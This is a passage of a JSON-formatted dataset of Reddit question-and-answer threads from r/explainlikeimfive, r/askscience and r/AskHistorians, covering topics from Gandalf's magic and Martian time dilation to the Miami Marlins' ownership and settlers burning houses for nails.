Angel.\n\nIt's not the case that he is a man who has learned magic, he is a supernatural entity older than the world itself, and has never been human.\n\nHe was sent by the Creator/God of the LOTR universe, Eru Il\u00favatar, to help swing the balance of good vs evil back towards good, but through advice and guidance only, without direct interference.\n\nIn fact, the few times he uses magic are times when strictly speaking he *shouldn't* have, and was simply letting sentimentality get the better of him in order to help the people he has come to view as friends.\n\n**TL;DR:** Yes, Gandalf is very powerful, but isn't supposed to be using his magic, and is technically supposed to be present only in an advisory capacity.", "What did you expect him to do? Rain fire and lightning on the orcs, trolls, and goblins? That's not who he is.\n\nTrue courage is about knowing not when to take a life, but when to spare one. -Gandalf", "The wizards in Middle Earth aren't really supposed to be using their power that much. They are supposed to just be helping the other races be more self-sufficient.\n\nGandalf often comes close to crossing the line. He helps a lot, which was supposed to be discouraged.", "I am not a Tolkien expert, but here's my take:\n\nThe most powerful forces of evil in Middle Earth are set on world dominance, and work against the will of the creator Eru Il\u00favatar and the harmonious unfolding of history. This rebellion starts with Melkor/Morgoth, who is basically a Satan-like fallen angel, and continues with his agents Sauron and later Saruman.\n\nThe most powerful forces of good, on the other hand, work according to the will of Eru and his plan and do their best to resist temptation to rule. Recall Galadriel's response when she was offered to bear the ring:\n\n*And now at last it comes. You will give me the Ring freely! In place of the Dark Lord you will set up a Queen. And I shall not be dark, but beautiful and terrible as the Morning and the Night! Fair as the Sea and the Sun and the Snow upon the Mountain! Dreadful as the Storm and the Lightning! Stronger than the foundations of the earth. All shall love me and despair!\u201d*\n\n*\u201cI pass the test\u201d, she said. \u201cI will diminish, and go into the West and remain Galadriel.\u201d*\n\nWhile Eru's long term plan is not made explicit, it's clear that it unfolds in stages, and one of those stages is the transition from the Third Age (in which LotR and the Hobbit take place) to the Fourth Age (the Age of Men, in which magic ends and the elves depart Middle Earth).\n\nIt's important that the transition into the Age of Men (hobbitkind is a subrace of mankind) happens not via divine intervention but through very human actions (hence the importance of Aragorn's defence of Minas Tirith and Frodo's quest). It wouldn't be appropriate for Eru to just make Sauron disappear, or for the Eagles fly Frodo to Mordor.\n\n", "This video is ace at explaining the LOTR set up\n\n_URL_0_", "He is a wizard, but the magic in middle earth works very differently from the magic in most modern fiction.\n\nIn Tolkien's world there are two different forms of magic. One is basically an affinity-style magic, the other is a priesthood-style magic. \n\nYou've got to read [The Silmarillion](_URL_0_) and [The History of Middle-Earth](_URL_1_) to get a better handle on that world. Tolkien wrote the books over the course of nearly 50 years, and was still editing them when he died. They're interesting, but hardly light reading.\n\nLotR is rare in that Tolkein had spent several decades working on the fiction of the world, writing and defining stories, writing the world's creation myths, writing a pre-creation mythos, writing several generations of mythology and main sequences of four different \"ages\" spanning many thousand years.... and then finally writing the series that became popular. Many of the core parts of the mythos were written in the 1910s and 1920s, long before LotR was published in the 1950s.\n\nMany books the authors write the first one, change the world's rules slightly for the second book, revise the world again for the third, and by the time the last book comes out the world looks quite different from the first. LotR was completely written and edited and revised as a full series before it was published, and a huge collection of Middle-Earth mythology was on Tolkien's shelves before LotR was written. Tolkien referred to many of those older stories in LotR which helped give it a very compelling, well-established setting. The characters in the world were comfortable within his established mythos.\n\nSo enough of that background.\n\nAs for why they don't use magic for everything, the magic in Tolkien's universe is very different from contemporary fiction's magic. In contemporary fiction magic has a low cost, often requiring about the same effort as doing a task by hand, and has only minor repercussions. Sometimes it is done by a magic word that could be flippantly spoken. Or you get books like Harry Potter where magic just means learning Latin. Sometimes modern magic requires some other costs, perhaps a sacrifice of some kind. Tolkien's magic didn't do that.\n\nTo use the different types of magic in Tolkien's world, you had to (1) have an affinity for nature for the first type, which many of the elves and some men gained through long life, or (2) you needed to have divine blood and use a Word of Power to alter the Song that controls that universe. While the archangels and other divine beings had power to alter the Song in the mythos, doing so had potentially very serious consequences. Many beings were able to use both the first and second types of magic.\n\nThere were several purely divine characters in his works. Most had died or left by the time LotR takes place. The main ones left in LotR were Tom Bombadil (who was effectively one of the creator demigods), Sauron (a first-generation archangel) and the Wizards (second generation archangels).  Balrogs are also divine beings, they were lesser first-generation archangels turned demon, with affinity for wrath and therefore fire and destruction. Many of the Third Age elves had great-great-great-grandparents that were divine, so they could use that divine aspect and live with a dual existence in the mortal realm and the divine realm.\n\nTolkien wrote quite a lot about the Balrogs. There were the original Balrogs, essentially high ranking angels who were corrupted in part by messing too much with the divine magic. In some of his notes he wrote that there were \"at most seven\" of these. This is the type Gandalf faced, extremely powerful, extremely deadly. Two others had been fought and defeated earlier in the mythos, both times their destruction caused mass death including the death of the heroes who fought them. Then there were lesser angels corrupted into balrogs, where there were 'an army' of them that rode on dragon back. These were still incredibly dangerous, but more easily fought and defeated.\n\nThe five wizards would be considered immortal archangels, they were the five highest among their order. Basically the divine council helped them take on bodies and sent them down to the world.  Gandalf really did die in the books and was given a new body by the creator-god who also placed him as the head of their hierarchy, which is why he became \"the white\". Specifically, the wizards were ordered to help the races of Men and Elves and Dwarves through council only, they were forbidden from dominating over them to avoid what happened during the war of the First Age.\n\nSo those are the people. Wizards were not regular folks or a career path. Tolkien's five wizards were specialized archangels sent by the creator himself to guide and counsel but not to rule.\n\nNow on to Tolkien's magic. \n\nThe most common class of magic used by the elves is more along the lines of an affinity, or perhaps a mastery of working with nature. I hated how in the movies they so often depicted it as a magic word that triggers an effect. In the books the rings had powers each because they had an affinity for a specific aspect of nature. The elven rings were crafted with an affinity for water and healing, an affinity for fire and wrath, and an affinity for air and time. There were swords crafted with an affinity for the underworld that caused the earth to quake when they were used, others with an affinity for fire that drew on the essence of fire to make them burn. The seeing-stones were crafted with an affinity for knowledge and wisdom and sight. There were gems crafted with an affinity for beauty and passion. The elvish cloaks given in LotR were woven with an affinity to nature that caused them to blend in with the environment. The elven strongholds were protected by working with the nature around their homes for centuries, the affinity with that aspect of the nature so strong that nature steps in to help; the river to burst dams and flood to protect Rivendell, or the affinity so strong with the air and space around Lothl\u00f3rien that no evil creature (not even a first-generation archangel) could survive against it. The only cost involved was having an affinity for that aspect of nature the patience to work with the nature. That is the first type of magic. \n\nGandalf used that first type of magic all over in the story. He used it somewhat flippantly with blowing smoke rings and causing them to fly around. He used it to build and control the fireworks in the Shire. He used it to flash-blind everyone when they were captured in the misty mountains. He used it to light their path through the tunnels. He used it to burn and scare the Wargs before the Eagles came and picked them up. He used it against the Necromancer. He used it in the battle of Five Armies. He used the nature affinity to help him escape from the black tower. He used it to fight the Nine on the road. He used it under Moria to lead and guide. And on and on. Elrond used his affinity for water and nature and healing to preserve Rivendell and also in healing Frodo from the Morgul blade. \n\nThat first kind of magic is used all the time. Gandalf was great at it because as an archangel he was called the \"Secret Flame\" and he had a ring with an affinity for fire. Through all the books Gandalf is constantly playing with fire and smoke, and his wrath was like no other.\n\n\nThe second type of magic is more along the lines of a priestly magic, calling on their divine nature. It is part of how Gandalf fought the balrog. Using this form of magic was called things like a \"Word of Power\" (with the uppercase) in the books. The cost with the magic meant calling on the Song that controlled the universe in a way that every other divine/occult creature could sense. This type of magic also slightly disrupted the Song that controlled the universe, and even a minor change had a potential to be discordant to their Creator's grand design.  Gandalf's big complaint about using this type of magic in LotR was that doing so was like shouting 'Gandalf Is Here' for everyone with the capacity to sense it. Many creatures in the universe, including many of the surviving elves and also Sauron who was himself an archangel, could constantly sense the Song. Manipulating the Song directly was a very dangerous act; even Sauron who was able to manipulate the Song very rarely did so. \n\nThe second kind of magic is used very rarely in the books. Gandalf invokes it four times during LotR (on the mountain to save their lives, fighting against the balrog resulting in mutual death, following the Creator's direct order to remove Saruman from the council, and fighting in the final battle), Sauron invokes it twice (once as the Necromancer which revealed himself as Sauron and again in battle), Galadriel invokes it once in defending Lothlorien that was covered in the side-stories. \n\nSo hopefully that answers it with some depth.  Gandalf does use the first kind of magic all the time. He uses the second more dangerous kind of magic more than any other character in the LotR series."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.slate.com/blogs/quora/2014/12/05/why_does_gandalf_the_white_fight_with_a_sword_instead_of_casting_spells.html?wpisrc=obnetwork"], [], [], [], [], [], ["http://youtu.be/YxgsxaFWWHQ"], ["https://en.wikipedia.org/wiki/The_Silmarillion", "https://en.wikipedia.org/wiki/The_History_of_Middle-earth"]]}
{"q_id": "1n1mis", "title": "How did the new island appear from the sea in Pakistan?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1n1mis/how_did_the_new_island_appear_from_the_sea_in/", "answers": {"a_id": ["cceoy2f"], "score": [13], "text": ["Earthquakes occur when there is sudden motion on a locked fault to relieve built up stresses. Here, slip on the fault strained (displaced relative to the natural position) the nearby seabed, causing it to rise 5-10 m. The now-exposed rocky body was formerly a shallow rock body (less than 5-10 m below the surface). It was simply elevated slightly by motion on the fault."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "oq9xh", "title": "Did cowboys really talk the way they do in movies?", "selftext": "I'm not talking about the old stereotypical *\"Howdy cowpoke!\"* from old westerns. I mean more recent westerns like the Assassination of Jesse James. It seems like they always try to talk very slowly, deliberately, and try to use perfect diction, even when threatening people. Basically the opposite of the old stereotype.\n\nIt sort of seems like dialogue in new western movies is written in the way people wrote back then, not how they spoke.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/oq9xh/did_cowboys_really_talk_the_way_they_do_in_movies/", "answers": {"a_id": ["c3j6wf2", "c3j8khh", "c3jotge"], "score": [19, 7, 5], "text": ["I may be wrong with this but I believe True Grit is quite authentic. I remember reading they worked very closely with historians to get it right.", "According to the producers of Deadwood, the way people swore was much different than the way people swear today.", "Can't find a source, but I remember reading somewhere that it was fairly authentic.  (keep in mind, when these movies started being made, there were first generation descendants of these people still alive, so I would assume it was fairly easy to get source material for the dialect.)\n\nIf you want something wildly inauthentic, the \"pirate accent\" was completely fabricated by an actor named Robert Newton, who starred in a movie version of Treasure Island as well as portraying Blackbeard, and was successful enough to ~~get imitated by Johnny Depp~~ make himself into a stereotype.  (Can't find a source for that either, sorry.  [here's his IMDB page though](_URL_0_).  He's even Long John Silver in the picture.  \n\nEdit: Quote from the \"trivia\" portion of his IMDB page (which I don't consider a reliable source, but it shows that someone else thought what I said...\"Often credited with originating the style of speech generally equated with pirates. After his spectacular turn as Long John Silver in the Disney version of Treasure Island (1950), actors playing pirates in film, radio, television, and theatre, all tended to use (and still use) the same pseudo-Cornish accent Newton came up with.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.imdb.com/name/nm0628579/"]]}
{"q_id": "1d7d5g", "title": "what's going on with the marlins/why do their fans hate them?", "selftext": "it seems like with the new stadium combined with recent trades/payroll cuts, the team has fallen apart and the fans are furious....is that it, or am I missing something", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1d7d5g/eli5whats_going_on_with_the_marlinswhy_do_their/", "answers": {"a_id": ["c9nm1rr", "c9nm3vc", "c9nolyx", "c9noz07", "c9nq1rq"], "score": [9, 23, 6, 22, 2], "text": ["Yeah, you've pretty much got it. The new stadium was built for the team with public funding and now they got rid of all of their good players except Giancarlo Stanton (who is too young to have signed a big contract) to save money. The result is their team is terrible, the fans are mad/don't go to games, and the ownership gets to save a bunch of money.", "A lot of people don't like their owner, Jeffry Loria. He's done a lot of bad things, like lying about how much money he had so that the city of Miami would provide more money for the new Marlins stadium. He also told Jose Reyes, the Marlins' old shortstop, to buy a house in Miami and then traded him to Toronto shortly after.", "Lauria (owner) and Samson (president):  Ok little one.  I have a great idea.  Would you like to go to my amusement park 81 times a year?  Awesome, right?  But the amusement park I have sux! rides kinda meh, no cotton candy, long lines. Yuck.  Im going broke trying to keep it open and have no money to build a new one:(. Maybe, if you gave me like a little of your allowance each week I could build you a shiny new amusement park!  I'll bring in the best rides and the tastiest treats to be found. \n\n5 year old: kewl! Here are monies!\n\nPretty nice Amusement park built with 5 yr olds allowance, expert operators brought in by lauria/samson...\n\nBUT, after less than a year, lauria/Samson send all their expert operators to different amusement parks replacing them with incompetent operators who have no idea what they're doing. \n\n5 year old: hey mister! Your new amusement park is cool but I don't really wanna go because the rides don't work. my mom says I might as well because ill be paying for it with some of my allowance until I'm 43! \n\nLauria/Samson: oh that amusement park? We're gonna sell that next year anyway for around half a billion even though you paid for it all to be built.  Thanks again and sorry about that allowance!  \n\n", "As a marlins fan, I can explain this pretty well.\n\nSo this team has been around since 1993. In those years, they've really only had about 4 seasons where I thought \"hey, maybe we'll make the playoffs\". Two of those seasons we did, and in those seasons we've won the World Series (with some help from bad umpires - 1997 Livan Hernandez threw 15 strikeouts with a large strikezone against Atlanta and in 2003 the Bartman incident helped against the Cubs). \n\nAfter we win a title, the city is thrilled. But each time the owners will take the team and sell the pieces for prospects, and we have to rebuild again. Part of it is because we are a small market team, and the other part is because the owners we've had suck. It took us 6 years to win again after 1997, and we are still mired in mediocrity now after 2003.\n\nIn 2011, Jeffrey Loria (the owner) built his dream stadium, Marlins Park. He rebranded the team name from the Florida Marlins to the Miami Marlins, got new jerseys, and actually had a promising team of talent. We had Hanley Ramirez, Giancarlo Stanton, Josh Johnson, Anibal Sanchez, Logan Morrison, Emilio Bonifacio, and some other pretty good players. All we needed was some more pieces to make the team a contender.\n\nThe Winter Meetings of 2011 were the most excited I've ever been as a Marlins fan. We went into free agency with the clear idea that we are going to spend money to get talent and build a World Series contender. We signed Jose Reyes to play 3B, Mark Buehrle as a starting pitcher, and Heath Bell as a closer. All pretty solid signings, not spectacular signings, but ones that made us think we'd be cheering for a division title - something we've never won before.\n\nSo the 2012 season starts and there's an actual buzz for this team. Opening Day is a sellout, ESPN is covering it, Muhammad Ali delivered the first pitch ball (pretty bad call in hindsight). We lose 4-0 to the defending champion St. Louis Cardinals but it's fine, it's 1 game out of 162. \n\nThen Heath Bell starts blowing a bunch of saves, our stars aren't hitting, our pitching isn't doing hot. We ended up being in last in the division. It kind of sucked to have that momentum then have it blow up in your face.  Ozzie Guillen, our manager, has the Fidel Castro comment and the city of Miami's cuban population flips the hell out. So after all of this, the Marlins went from contenders to chumps. Cuban empathizer chumps.\n\nSo Jeffrey Loria, being the savvy businessman he is, starts looking to sell pieces again. He trades Hanley to the Dodgers, we end the season in last place in the division. Then, he pulls one of the most shady moves ever. He trades Reyes, Bonifacio, Buehrle, and Josh Johnson to Toronto. He trades Heath Bell to Arizona. Anibal Sanchez and Omar Infante, two pretty good players, get traded to Detroit. So we're left with Giancarlo Stanton, a gimpy Logan Morrison, and a bunch of prospects. It was done as a salary dump to mitigate losses, but it turns out that the Marlins had one of the highest operating revenues in the league.\n\nFurther, we have this brand new stadium that no one wants to go to. And it's costing the state of Florida BILLIONS of dollars in taxpayer money. Loria swindled the city and state to foot the bill, and now the stadium is housing a bad team instead of a \"World Series contender\" like he said.\n\nSo why do we hate the Marlins? We really don't. We'll cheer for them and hope the players do well. But we're really tired of having our owner do this dump of salary when the team doesn't do well. Even when we do well, the team changes drastically. An ideal situation would be to have Loria sell the Marlins to an owner who cares about the fans and the city, and doesn't look at the team as a way to make money.\n\nSo you're right, it's those reasons. I just wanted to vent.", "Beyond actually hating Loria and what he has done, there is a larger issue at hand. \n\n1. Loria owns the team and no one can change that.\n2. Revenue sharing in baseball makes it so small teams share revenue with big teams. So teams like Yankees, Red Sox, Angels share with Astros, Pirates, and Marlins.\n3. In essence even if he never sold a hot dog again and fielded a team with AA players he would still make millions.\n\nI call this \"The Producers\" tactic. You can make more with a flop than a hit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5kll0x", "title": "In the Bible, paul is a Roman citizen and thus has special rights. How would the local magistrate know that Paul was indeed a Roman citizen?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5kll0x/in_the_bible_paul_is_a_roman_citizen_and_thus_has/", "answers": {"a_id": ["dboyq0j", "dbqc6qy"], "score": [62, 4], "text": ["This was touched on a little in [a previous discussion on proving Roman citizenship](_URL_0_?).\n\nThe AutoMod reminds me to mention u/LegalAction and u/mythoplokos in that thread.", "Paul of Tarsus's claim was particularly tricky because he received his citizenship by virtue of where he was born. Tarsus was a Greek speaking city-state on the south coast of Turkey. Tarsus was never conquered, per se, but swore fealty to Rome in exchange for all its free inhabitants receiving Roman citizenship. This type of citizenship, stemming from the place of birth, is known as Ius Soli (or Jus Soli), as opposed to Ius Sangui which is citizenship derived from blood. \n\nThe entire New Testament appeared to be written in Greek, and it is very possible Paul grew up speaking Greek as his mother tongue, Hebrew as a liturgical language, and learned Aramaic when he moved to the Levant later in life. Paul's claimed citizenship being Ius Soli, there would be no paper trail that Paul would be required to provide.\n\nIf Paul spoke Greek like someone from Tarsus, or just appeared credible, it may be that caused the Magistrate to believe him. Paul may have just been bluffing, having been from Athens, but the Magistrate did not want to take the risk of getting himself in trouble for the Jews who were crying for Paul to be punished. However, what the Magistrate did to confirm Paul's story would be speculation since our only record of it is the Book of Acts. Paul specifically knew his rights as a citizenship and pled them specifically according to Acts. \n\nThe important thing to note is his particular claim to Ius Soli citizenship was impossible to prove or disprove and put the magistrate at risk if Paul's family showed up later to corroborate and appealed to Rome to have the magistrate punished."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4ixyal/how_did_romans_prove_they_were_citizens/"], []]}
{"q_id": "1fsrzq", "title": "Does the clock on the curiosity rover run faster than clocks on Earth because Mars has less mass and gravity than Earth?", "selftext": "I'm trying to understand this whole time dilation thing. I'm not convinced. I still think its just that things (molecules) move slower in more gravity, but then how would we prove that since every clock we have operates with the movement of molecules. \n\nIt's obvious I'm no scientist, please help me understand.\n\nEdit 2: Please read [this comment](_URL_0_) by me and reply with your thoughts\n\nEdit: I want to thank everyone for their answers and information. I have a new question that might help me believe that there is no reason to even imagine a universal time. \n\nWhy does time slow down as it approaches the speed of light? What happens to the \"clock\"? Do we know?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fsrzq/does_the_clock_on_the_curiosity_rover_run_faster/", "answers": {"a_id": ["cadgfmq", "cadgwcq", "cadl5s2", "cae34hk"], "score": [13, 77, 7, 2], "text": ["Yes, clocks on Mars move faster than those on Earth due to gravitational time dilation. Time dilation is a fact. It has nothing to do with molecules.", "Yes, absolutely.  In fact, the time dilation between the surface of Earth and the surface of Mars was measured directly with Viking 1, a lander on Mars.  You can read more about this experiment [here.](_URL_0_)\n\nSpecial relativity tells us that when an object is travelling at some speed with respect to us, we perceive their time to be passing more slowly.  Similarly, general relativity tells us that objects in different gravitational fields from our own will experience time differently.\n\nFor objects travelling as slowly as the planets, and with as little mass as the planets, the effect is miniscule.\n\nThe sum of the orbital speeds of Earth and Mars is the fastest that Mars will ever travel with respect to Earth, and hence can tell us the greatest time difference from special relativity.  [The sum of these two speeds is 0.0001797c.](_URL_1_)  The time dilation effect from special relativity is proportional to (1-0.0001797^(2))^(1/2)=0.999999983854...\n\nAt this speed, because of special relativity, during one year on Earth, which, as Rent pointed out, is 525600 minutes, we would perceive only 525599 minutes and 59.4908 seconds to pass on Mars.  Of course, this is the absolute fastest that Mars and Earth travel with respect to each other, and so the actual time dilation will be even less.\n\nThe effect of gravitational time dilation is even less significant.  An observer on Earth will observe time in deep space (absent any significant gravitational field) to have dilation that's roughly 0.0219 seconds per year; since the surface of Mars is in a gravitational field, the dilation between Earth and Mars surfaces would be even less.\n\n\n\n", "Mr./Ms. jiveabillion,\n\nClearly you wish to understand this concept more thoroughly than you do presently, else wouldn't have asked in the first place. However, some of your responses to the offered explanations have a slight air of contention, as if the obtuse and esoteric nature of these concepts somehow diminishes their likelihood of being true and extant. \n\nNow, please do not understand me; **in no way** do I mean even the slightest disrespect by this post, and if my above perception is incorrect, then I humbly beg your pardon. But I would like to remind you that human brain has evolved to interact with - and understand - the universe on an...um, \"mesoscale.\" Any time we direct our brains to wrangle with concepts on either the micro- or macro- scale, we are asking it to do something it it is quite poorly equipped to do. Thus, many concepts in science (like the one this thread explores) are totally counter-intuitive, and can be incredibly difficult to fully and completely comprehend -- even for people who spend their entire lives studying them! So, while healthy sense skepticism is *always* a healthy thing for the scientist (and, indeed, *any* human) to have , you should always bear in mind that even though *you* may have difficulty wrapping your head around a concept, that doesn't necessarily mean it's not true.\n\nAgain, if my perception of your incredulity is incorrect, my apologies. I seek only to help you gain the understanding you originally asked the /r/askscience denizens to help you attain. Good day! ", "Okay, I'll take a shot :) First, you need to accept the fact that the speed of light is constant in all reference frames. Fundamentally, light is a [self-propagating electromagnetic wave](_URL_2_). It was a bizarre and surprising result of Maxwell's equations that such waves could only move at speed c. In addition, this result has been overwhelmingly confirmed by observation. Make sure you let this fully sink in. If Bob is on a space station doing optics experiments, from Bob's perspective the space station has velocity 0 and photons have velocity c. Now imagine Charlie is on a starship travelling past the station with a high but constant velocity v relative to the station. From Charlie's perspective, the station is moving at velocity v, but the photons in the lab are still moving with speed c! This is extremely strange. But there are no tricks. Charlie can (and must) do all the math and account for all of the \"gotcha\"s like the changing time it takes for light to travel between the station and the ship, but at the end of the day, what is *really* happening is that the speed of light is the same in both reference frames, while any other observed velocity will be different based on your reference frame. It is 100% crucial that you accept that the above scenario is true. Pretty much all of relativity falls out of this behavior of light. If you dispute it, you won't get a satisfactory answer to any more advanced question.\n\nOkay... so \"clocks\". In Bob's space station, he has a simple \"clock\" that consists of a single photon bouncing between two plates separated by some distance. Bob counts the \"ticks\" of this clock to measure things. Maybe he drops a rock and observes that his clock ticks a million times in the time it takes for the rock to hit the floor. The workings of this clock is easy to understand. The photon is moving at speed c, the plates are separated by a distance d. So it takes time t=d/c for the photon to traverse the one-way distance between the plates. If there were N ticks, the elapsed time would be t = Nd/c.\n\nNow look at this clock from Charlie's perspective. Because of his relative motion, Charlie sees the station and the clock moving at constant speed v. But keep in mind, It's not \"moving\" in the layman's sense. It's literally the same events that Bob observed  being seen from a different point of view. So we expect certain things to be the same. Not only will the photon still be bouncing between the plates, but *it will be hitting the plates at the exact same spot* from both perspectives. It must, because otherwise it'll miss the photon detector and the clock won't tick. If Charlie and Bob reunite in the future, surely they'll at least agree that the clock was functional.\n\nNow for the crazy part. Recall from Bob's point of view, the distance between the photon detectors was d. But since from Charlie's point of view, the clock is *moving*, the distance between the top detector (as the photon is bouncing off the top) and the bottom detector (as the photon is hitting the bottom) is *greater* than d. Grab paper and do the geometry yourself. There's still a distance d vertically, but there's also a horizontal component equal to vt', where t' is the time it takes the photon to make the trip. So the distance has increased, but because of what we talked about in the first paragraph, *the photon speed was the same!* So it actually takes longer for each tick from Charlie's point of view. In addition, think about when Bob dropped that rock. Bob observed that as the rock landed, the clock display read a million ticks. Assuming Bob is dropping the rock right next to the clock* Charlie will also agree that when the rock landed the display read a million ticks. This means that from Charlie's perspective, the rock took longer to land. It was falling slowly. This is also kind of why it doesn't matter what kind of clock you use. *Everything* gets slowed down, or else you'd have causality violations (which are not observed in real life).\n\nAnyway, I encourage you to think deeply on that scenario, draw the diagrams, and even try to do some of the math yourself (you can derive the time dilation equations with just the pythagorean theorem and some algebra). Once you accept that the speed of light is constant in both frames, there's really not much wiggle room.\n\nFinally, I'd strongly encourage you to understand the straight-line inertial frame case before you even try to think about anything with gravity or acceleration. Even there, there's plenty of [fun stuff](_URL_0_) to chew on. But try to walk before you run :)\n\n*Kind of matters when you account for [relativity of simultaneity](_URL_1_), which is a whole other delightful bag of worms."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/1fsrzq/does_the_clock_on_the_curiosity_rover_run_faster/cae5fzd"], "answers_urls": [[], ["http://adsabs.harvard.edu/doi/10.1086/183144", "http://www.wolframalpha.com/input/?i=mars+orbital+speed+%2B+earth+orbital+speed"], [], ["http://en.wikipedia.org/wiki/Ladder_paradox", "http://en.wikipedia.org/wiki/Relativity_of_simultaneity", "http://en.wikipedia.org/wiki/Maxwell%27s_equations#Vacuum_equations.2C_electromagnetic_waves_and_speed_of_light"]]}
{"q_id": "1irkp7", "title": "how goldman sach's seemingly over-simplified aluminum shuffling scam works and why the other 75% of the industry hasn't undercut it with quicker service and transportation.", "selftext": "I understand that in the past few years regulations have lightened up regarding investment banks owning non-financial business; in this case aluminum production and distribution. While GS is known for their cunning, often ruthless IB tactics, this seems too simple. Why doesn't the other three-fourths of the market undercut them by foregoing the intentional price driving via under-efficiency? There's no shortage of cheap labor or factory space in Detroit. Is there some sort of leveraging going on with the London Metal Exchange that's holding this door open for GS? Any insight or thoughts are welcomed! Cheers. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1irkp7/eli5_how_goldman_sachs_seemingly_oversimplified/", "answers": {"a_id": ["cb7dv3j"], "score": [5], "text": ["GS justifies a higher market price due to the higher costs (due to trickery).  The other guys make more profit due to the higher prices (their costs are less because they don't do the trickery).  As long as they make more money on the same product with GS driving up cost, then life is good.\n\nTLDR: just because you undercut and sell more, doesn't mean you make more profit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1grwoz", "title": "why are so many people claiming that the nba finals were rigged?", "selftext": "I know there's always a few weird conspiracy theorists that throw the word 'rigged' around like it's nothing, but I've seen/heard it several times tonight. I'm not a basketball fan, so am I just missing something?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1grwoz/eli5_why_are_so_many_people_claiming_that_the_nba/", "answers": {"a_id": ["can6uo1", "can9ebq", "canbjsq"], "score": [4, 3, 3], "text": ["Well many people beleive it starts with the pacers heat series especially game one. In that game the pacers basically allowed the heat to win by allowing an uncontested lay up with two seconds on the clock. There are other times where the game has been going one way and then it all of a sudden just turns in favor of a different team. Is it a coincidence that two teams who bring major revenue made it to the finals? Maybe. Was the tournament rigged? Maybe. In all honesty who cares really? It's not possible to prove whether it was rigged or not. Most people are just bitter that there team didn't win. ", "Because the NBA has a pretty dodgy history with such things.\n\nThey have a ref who went to jail for fixing games.  The refereeing in general is wildly inconsistent, and it is pretty obvious different rules apply to superstars.\n\nGiven all that, when a team gets lucky breaks that just happen to coincide with the NBA making more money, you have to wonder.\n\nOr it could just be a bunch of sore losers.  But I find conspiracy theories about the NBA a little more plausible than with other major sports.", "History of refs fixing games (and getting caught. Spurs not fouling Heat in final seconds allowing a three point shot for heat. The spread in basketball gambling can be messed with(throwing a game or continuing to score when you're blowing out a team) and the common sense that if you force a game 7, you double the money received for tv ratings than just playing game 6. There is a lot of money to be made, and any place there is money, there's bound to be someone, some people trying to take advantage of it in their favor. Just my two cents."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "61gpkb", "title": "Did American settlers burn down their houses to reclaim the nails?", "selftext": "I recently remembered a weird \"fact\" that I was taught way back in school, that settlers/pioneers would burn down their homes if they moved in order to collect the nails, which were considered valuable. \n\nThis feels insane on the surface. Is there any credible grain in this? Is it at least a rumor you've heard before? If my teacher was wrong, I'd love to know how wrong they were...", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/61gpkb/did_american_settlers_burn_down_their_houses_to/", "answers": {"a_id": ["dff7gfi"], "score": [12], "text": ["[At the very least, authorities in seventeenth century Virginia believed it was a temptation (my bold):](_URL_0_)\n\n > The Governor, counsell and Burgesses of this present Grand Assembly haveing maturely weighed and considered the extreame prejudice which will necessarily ensue to the collony by deserting of plantations which are now seated, or since the 20th of November last have been seated, *have enacted, And by the authoritye of the same be it enacted*, that it shall not be lawfull for any person holding land by patent or who soe hat held land since the 20th of November last, voluntarily to leave the same vpon penaltie of fforfeiture thereof, so as it may be lawfull for any person whatsoever to take vp the same by patent as land deserted, And if any lessee shall in like sorte voluntarily relinquish land leased to him, it shall be lawfull for any person to enter vpon the same and have the benefitt thereof vnles the patentee will seate or cause the same to be seated, provided that he that hath the patent of the land so deserted by the proprietor, or enters vpon any leased lands, do forthwith seat the same with a competent number of men, arms and amunition.\n\n > *And it is further enacted by the authoritie aforesaid*, That **it shall not be lawfull for any person so deserting his plantation as afore said to burne any necessary houseing that are scituated therevpon, but shall receive so many nailes as may be computed by 2 indifferent men were expended bout the building thereof for full satisfaction**, reservinge to the King all such rent as did accrew by vertue of the former grants or planting of the same from the expiration of the first seaven years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://vagenweb.org/hening/vol01-12.htm"]]}
{"q_id": "6783j2", "title": "why do ads nowadays ask you to search for the brand name or keywords rather than providing a website?", "selftext": "Most print, cinema, radio, or any other ads (I use adblock so I don't get internet ads, there may be an exception there, and I also don't watch TV so that might also be an exception) for the last few years seem to say to search (like on a search engine) for their brand name or keywords of the ad instead of providing a website. This especially seems to happen with car ads.\n\nI'm in Australia so I don't know if this is the same elsewhere.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6783j2/eli5_why_do_ads_nowadays_ask_you_to_search_for/", "answers": {"a_id": ["dgodzwe", "dgohb2a"], "score": [12, 3], "text": ["What do you remember easier, \"Search for Plink on google!\" or \"Go to _URL_0_!\"?\n\nIn the first case, you only have to sort of remember the name (was it plunk? pink? Something like that), in the second case you have to remember the website unless you're going to google it anyway", "Forcing you to search for them on google inflates the number of people doing so, therefore placing their product higher on google's search results.\n\nLeading people who didn't  nessicarily hear the original commercial being more likely to be shown that website in a search result.\n\nThe ad man is getting you to work the system on his behalf for free"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.wesellplinks.com"], []]}
